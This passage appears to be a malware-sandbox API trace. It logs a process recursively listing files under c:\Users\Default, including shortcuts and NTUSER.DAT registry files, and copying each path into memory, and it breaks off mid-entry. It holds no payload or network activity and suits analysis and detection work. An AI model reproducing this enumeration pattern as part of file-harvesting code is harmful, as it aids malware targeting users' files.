FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.679] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.679] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.679] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.679] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.679] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.679] lstrlenW (lpString="c:\\Users\\Default\\Downloads\\") returned 27 [0121.679] lstrlenW (lpString="desktop.ini") returned 11 [0121.679] lstrcatW (in: lpString1="c:\\Users\\Default\\Downloads\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Downloads\\desktop.ini") returned="c:\\Users\\Default\\Downloads\\desktop.ini" [0121.679] lstrlenW (lpString="c:\\Users\\Default\\Downloads\\desktop.ini") returned 38 [0121.679] lstrcpyW (in: lpString1=0x24abba0, lpString2="c:\\Users\\Default\\Downloads\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Downloads\\desktop.ini") returned="c:\\Users\\Default\\Downloads\\desktop.ini" [0121.679] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.679] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.679] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.679] lstrcmpW (lpString1="Favorites", lpString2=".") returned 1 [0121.679] lstrcmpW (lpString1="Favorites", lpString2="..") returned 1 [0121.679] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.679] lstrlenW (lpString="Favorites") returned 9 [0121.679] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Favorites" | out: lpString1="c:\\Users\\Default\\Favorites") returned="c:\\Users\\Default\\Favorites" [0121.679] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Favorites\\") returned="c:\\Users\\Default\\Favorites\\" [0121.679] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.679] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Favorites\\*") returned="c:\\Users\\Default\\Favorites\\*" [0121.679] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Favorites\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.680] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.680] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.680] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.680] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.680] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.680] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.680] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.680] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.680] lstrlenW (lpString="desktop.ini") returned 11 [0121.680] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Favorites\\desktop.ini") returned="c:\\Users\\Default\\Favorites\\desktop.ini" [0121.680] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\desktop.ini") returned 38 [0121.680] lstrcpyW (in: lpString1=0x24abbf8, lpString2="c:\\Users\\Default\\Favorites\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Favorites\\desktop.ini") returned="c:\\Users\\Default\\Favorites\\desktop.ini" [0121.680] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.680] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0121.680] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0121.680] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.680] lstrlenW (lpString="Links") returned 5 [0121.680] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="Links" | out: lpString1="c:\\Users\\Default\\Favorites\\Links") returned="c:\\Users\\Default\\Favorites\\Links" [0121.681] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.681] lstrcmpW (lpString1="Microsoft Websites", lpString2=".") returned 1 [0121.681] lstrcmpW (lpString1="Microsoft Websites", lpString2="..") returned 1 [0121.681] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.681] lstrlenW (lpString="Microsoft Websites") returned 18 [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="Microsoft Websites" | out: lpString1="c:\\Users\\Default\\Favorites\\Microsoft Websites") returned="c:\\Users\\Default\\Favorites\\Microsoft Websites" [0121.681] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.681] lstrcmpW (lpString1="MSN Websites", lpString2=".") returned 1 [0121.681] lstrcmpW (lpString1="MSN Websites", lpString2="..") returned 1 [0121.681] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.681] lstrlenW (lpString="MSN Websites") returned 12 [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="MSN Websites" | out: lpString1="c:\\Users\\Default\\Favorites\\MSN Websites") returned="c:\\Users\\Default\\Favorites\\MSN Websites" [0121.681] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.681] lstrcmpW (lpString1="Windows Live", lpString2=".") returned 1 [0121.681] lstrcmpW (lpString1="Windows Live", lpString2="..") returned 1 [0121.681] lstrlenW (lpString="c:\\Users\\Default\\Favorites\\") returned 27 [0121.681] lstrlenW (lpString="Windows Live") returned 12 [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\Favorites\\", lpString2="Windows Live" | out: lpString1="c:\\Users\\Default\\Favorites\\Windows Live") returned="c:\\Users\\Default\\Favorites\\Windows Live" [0121.681] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.681] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.681] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.681] lstrcmpW (lpString1="Links", lpString2=".") returned 1 [0121.681] lstrcmpW (lpString1="Links", lpString2="..") returned 1 [0121.681] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.681] lstrlenW (lpString="Links") returned 5 [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Links" | out: lpString1="c:\\Users\\Default\\Links") returned="c:\\Users\\Default\\Links" [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\Links", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Links\\") returned="c:\\Users\\Default\\Links\\" [0121.681] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.681] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Links\\*") returned="c:\\Users\\Default\\Links\\*" [0121.681] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Links\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.682] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.682] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.682] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.682] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.682] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.682] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.682] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.682] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.682] lstrlenW (lpString="desktop.ini") returned 11 [0121.682] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Links\\desktop.ini") returned="c:\\Users\\Default\\Links\\desktop.ini" [0121.682] lstrlenW (lpString="c:\\Users\\Default\\Links\\desktop.ini") returned 34 [0121.682] lstrcpyW (in: lpString1=0x24aff30, lpString2="c:\\Users\\Default\\Links\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Links\\desktop.ini") returned="c:\\Users\\Default\\Links\\desktop.ini" [0121.683] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.683] lstrcmpW (lpString1="Desktop.lnk", lpString2=".") returned 1 [0121.683] lstrcmpW (lpString1="Desktop.lnk", lpString2="..") returned 1 [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.683] lstrlenW (lpString="Desktop.lnk") returned 11 [0121.683] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="Desktop.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Desktop.lnk") returned="c:\\Users\\Default\\Links\\Desktop.lnk" [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\Desktop.lnk") returned 34 [0121.683] lstrcpyW (in: lpString1=0x24aff80, lpString2="c:\\Users\\Default\\Links\\Desktop.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Desktop.lnk") returned="c:\\Users\\Default\\Links\\Desktop.lnk" [0121.683] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.683] lstrcmpW (lpString1="Downloads.lnk", lpString2=".") returned 1 [0121.683] lstrcmpW (lpString1="Downloads.lnk", lpString2="..") returned 1 [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.683] lstrlenW (lpString="Downloads.lnk") returned 13 [0121.683] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="Downloads.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Downloads.lnk") returned="c:\\Users\\Default\\Links\\Downloads.lnk" [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\Downloads.lnk") returned 36 [0121.683] lstrcpyW (in: lpString1=0x24abc50, lpString2="c:\\Users\\Default\\Links\\Downloads.lnk" | out: lpString1="c:\\Users\\Default\\Links\\Downloads.lnk") returned="c:\\Users\\Default\\Links\\Downloads.lnk" [0121.683] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.683] lstrcmpW (lpString1="OneDrive.lnk", lpString2=".") returned 1 [0121.683] lstrcmpW (lpString1="OneDrive.lnk", lpString2="..") returned 1 [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.683] lstrlenW (lpString="OneDrive.lnk") returned 12 [0121.683] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="OneDrive.lnk" | out: lpString1="c:\\Users\\Default\\Links\\OneDrive.lnk") returned="c:\\Users\\Default\\Links\\OneDrive.lnk" [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\OneDrive.lnk") returned 35 [0121.683] lstrcpyW (in: lpString1=0x24affd0, lpString2="c:\\Users\\Default\\Links\\OneDrive.lnk" | out: lpString1="c:\\Users\\Default\\Links\\OneDrive.lnk") returned="c:\\Users\\Default\\Links\\OneDrive.lnk" [0121.683] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.683] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2=".") returned 1 [0121.683] lstrcmpW (lpString1="RecentPlaces.lnk", lpString2="..") returned 1 [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\") returned 23 [0121.683] lstrlenW (lpString="RecentPlaces.lnk") returned 16 [0121.683] lstrcatW (in: lpString1="c:\\Users\\Default\\Links\\", lpString2="RecentPlaces.lnk" | out: lpString1="c:\\Users\\Default\\Links\\RecentPlaces.lnk") returned="c:\\Users\\Default\\Links\\RecentPlaces.lnk" [0121.683] lstrlenW (lpString="c:\\Users\\Default\\Links\\RecentPlaces.lnk") returned 39 [0121.683] lstrcpyW (in: lpString1=0x24abca8, lpString2="c:\\Users\\Default\\Links\\RecentPlaces.lnk" | out: lpString1="c:\\Users\\Default\\Links\\RecentPlaces.lnk") returned="c:\\Users\\Default\\Links\\RecentPlaces.lnk" [0121.683] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.683] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.684] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.684] lstrcmpW (lpString1="Local Settings", lpString2=".") returned 1 [0121.684] lstrcmpW (lpString1="Local Settings", lpString2="..") returned 1 [0121.684] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.684] lstrlenW (lpString="Local Settings") returned 14 [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Local Settings" | out: lpString1="c:\\Users\\Default\\Local Settings") returned="c:\\Users\\Default\\Local Settings" [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\Local Settings", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Local Settings\\") returned="c:\\Users\\Default\\Local Settings\\" [0121.684] lstrlenW (lpString="c:\\Users\\Default\\Local Settings\\") returned 32 [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\Local Settings\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Local Settings\\*") returned="c:\\Users\\Default\\Local Settings\\*" [0121.684] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.684] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.684] lstrcmpW (lpString1="Music", lpString2=".") returned 1 [0121.684] lstrcmpW (lpString1="Music", lpString2="..") returned 1 [0121.684] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.684] lstrlenW (lpString="Music") returned 5 [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="Music" | out: lpString1="c:\\Users\\Default\\Music") returned="c:\\Users\\Default\\Music" [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\Music", lpString2="\\" | out: lpString1="c:\\Users\\Default\\Music\\") returned="c:\\Users\\Default\\Music\\" [0121.684] lstrlenW (lpString="c:\\Users\\Default\\Music\\") returned 23 [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\Music\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\Music\\*") returned="c:\\Users\\Default\\Music\\*" [0121.684] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\Music\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0x825760 [0121.684] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0121.684] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.684] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0121.684] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0121.684] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 1 [0121.684] lstrcmpW (lpString1="desktop.ini", lpString2=".") returned 1 [0121.684] lstrcmpW (lpString1="desktop.ini", lpString2="..") returned 1 [0121.684] lstrlenW (lpString="c:\\Users\\Default\\Music\\") returned 23 [0121.684] lstrlenW (lpString="desktop.ini") returned 11 [0121.684] lstrcatW (in: lpString1="c:\\Users\\Default\\Music\\", lpString2="desktop.ini" | out: lpString1="c:\\Users\\Default\\Music\\desktop.ini") returned="c:\\Users\\Default\\Music\\desktop.ini" [0121.684] lstrlenW (lpString="c:\\Users\\Default\\Music\\desktop.ini") returned 34 [0121.684] lstrcpyW (in: lpString1=0x24b0038, lpString2="c:\\Users\\Default\\Music\\desktop.ini" | out: lpString1="c:\\Users\\Default\\Music\\desktop.ini") returned="c:\\Users\\Default\\Music\\desktop.ini" [0121.684] FindNextFileW (in: hFindFile=0x825760, lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0 [0121.684] FindClose (in: hFindFile=0x825760 | out: hFindFile=0x825760) returned 1 [0121.685] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.685] lstrcmpW (lpString1="My Documents", lpString2=".") returned 1 [0121.685] lstrcmpW (lpString1="My Documents", lpString2="..") returned 1 [0121.685] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.685] lstrlenW (lpString="My Documents") returned 12 [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="My Documents" | out: lpString1="c:\\Users\\Default\\My Documents") returned="c:\\Users\\Default\\My Documents" [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\My Documents", lpString2="\\" | out: lpString1="c:\\Users\\Default\\My Documents\\") returned="c:\\Users\\Default\\My Documents\\" [0121.685] lstrlenW (lpString="c:\\Users\\Default\\My Documents\\") returned 30 [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\My Documents\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\My Documents\\*") returned="c:\\Users\\Default\\My Documents\\*" [0121.685] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\My Documents\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.685] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.685] lstrcmpW (lpString1="NetHood", lpString2=".") returned 1 [0121.685] lstrcmpW (lpString1="NetHood", lpString2="..") returned 1 [0121.685] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.685] lstrlenW (lpString="NetHood") returned 7 [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NetHood" | out: lpString1="c:\\Users\\Default\\NetHood") returned="c:\\Users\\Default\\NetHood" [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\NetHood", lpString2="\\" | out: lpString1="c:\\Users\\Default\\NetHood\\") returned="c:\\Users\\Default\\NetHood\\" [0121.685] lstrlenW (lpString="c:\\Users\\Default\\NetHood\\") returned 25 [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\NetHood\\", lpString2="*" | out: lpString1="c:\\Users\\Default\\NetHood\\*") returned="c:\\Users\\Default\\NetHood\\*" [0121.685] FindFirstFileW (in: lpFileName="c:\\Users\\Default\\NetHood\\*", lpFindFileData=0x34ed90 | out: lpFindFileData=0x34ed90) returned 0xffffffff [0121.685] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.685] lstrcmpW (lpString1="NTUSER.DAT", lpString2=".") returned 1 [0121.685] lstrcmpW (lpString1="NTUSER.DAT", lpString2="..") returned 1 [0121.685] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.685] lstrlenW (lpString="NTUSER.DAT") returned 10 [0121.685] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT") returned="c:\\Users\\Default\\NTUSER.DAT" [0121.685] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT") returned 27 [0121.685] lstrcpyW (in: lpString1=0x5bffa8, lpString2="c:\\Users\\Default\\NTUSER.DAT" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT") returned="c:\\Users\\Default\\NTUSER.DAT" [0121.685] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.685] lstrcmpW (lpString1="NTUSER.DAT.LOG", lpString2=".") returned 1 [0121.685] lstrcmpW (lpString1="NTUSER.DAT.LOG", lpString2="..") returned 1 [0121.685] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.685] lstrlenW (lpString="NTUSER.DAT.LOG") returned 14 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT.LOG" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG") returned="c:\\Users\\Default\\NTUSER.DAT.LOG" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT.LOG") returned 31 [0121.686] lstrcpyW (in: lpString1=0x5bda68, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG") returned="c:\\Users\\Default\\NTUSER.DAT.LOG" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT.LOG1", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="NTUSER.DAT.LOG1") returned 15 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT.LOG1" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG1") returned="c:\\Users\\Default\\NTUSER.DAT.LOG1" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT.LOG1") returned 32 [0121.686] lstrcpyW (in: lpString1=0x24b0088, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG1" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG1") returned="c:\\Users\\Default\\NTUSER.DAT.LOG1" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT.LOG2", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="NTUSER.DAT.LOG2") returned 15 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT.LOG2" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG2") returned="c:\\Users\\Default\\NTUSER.DAT.LOG2" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT.LOG2") returned 32 [0121.686] lstrcpyW (in: lpString1=0x24b00d8, lpString2="c:\\Users\\Default\\NTUSER.DAT.LOG2" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT.LOG2") returned="c:\\Users\\Default\\NTUSER.DAT.LOG2" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 55 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned 72 [0121.686] lstrcpyW (in: lpString1=0x24b1020, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 92 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned 109 [0121.686] lstrcpyW (in: lpString1=0x24b10c0, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 92 [0121.686] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0121.686] lstrlenW (lpString="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned 109 [0121.686] lstrcpyW (in: lpString1=0x24b11a8, lpString2="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" | out: lpString1="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms") returned="c:\\Users\\Default\\NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms" [0121.686] FindNextFileW (in: hFindFile=0x825720, lpFindFileData=0x34f04c | out: lpFindFileData=0x34f04c) returned 1 [0121.686] lstrcmpW (lpString1="ntuser.ini", lpString2=".") returned 1 [0121.686] lstrcmpW (lpString1="ntuser.ini", lpString2="..") returned 1 [0121.686] lstrlenW (lpString="c:\\Users\\Default\\") returned 17 [0121.686] lstrlenW (lpString="ntuser.ini") returned 10 [0121.687] lstrcatW (in: lpString1="c:\\Users\\Default\\", lpString2="ntuser.ini" | out: lpString1="c:\\Users\\Default\\ntuser.ini") returned="c:\\Users\\Default\\ntuser.ini" [0121.687] lstrlenW (lpString="c:\\Users\\Default\\ntuser.ini") returned 27 [0121.687] lstrcpyW (in: lpString1=0x24b1290, 